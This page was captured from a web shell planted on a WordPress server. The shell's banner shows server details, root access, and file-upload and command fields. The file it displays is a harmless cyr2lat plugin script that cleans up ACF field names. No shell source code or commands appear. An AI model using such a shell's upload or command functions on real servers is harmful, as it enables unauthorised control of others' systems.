403Webshell
Server IP : 104.171.130.249  /  Your IP : 216.73.216.146
Web Server : nginx/1.25.5
System : Linux 0dac65491b7e 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/cyr2lat/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/cyr2lat/assets/js/acf-field-group.js
/* global acf, CyrToLatAcfFieldGroup */

/**
 * ACF support.
 *
 * @param {window.jQuery} $        jQuery.
 * @param {Window}        window   Window.
 * @param {document}      document
 * @package
 */
( function( $, window, document ) {
	'use strict';

	const table = CyrToLatAcfFieldGroup.table;
	const convert = function( str ) {
		$.each(
			table,
			function( k, v ) {
				const regex = new RegExp( k, 'g' );
				str = str.replace( regex, v );
			}
		);
		str = str.replace( /[^\w\d\-_]/g, '' );
		str = str.replace( /_+/g, '_' );
		str = str.replace( /^_?(.*)$/g, '$1' );
		str = str.replace( /^(.*)_$/g, '$1' );

		return str;
	};

	acf.addFilter(
		'generate_field_object_name',
		function( val ) {
			return convert( val );
		}
	);

	$( document ).on(
		'change',
		'.acf-field .field-name',
		function() {
			if ( $( this ).is( ':focus' ) ) {
				return false;
			}

			const $this = $( this );
			let str = $this.val();
			str = convert( str );

			if ( str !== $this.val() ) {
				$this.val( str );
			}
		}
	);
}( window.jQuery, window, document ) );

Youez - 2016 - github.com/yon3zu
LinuXploit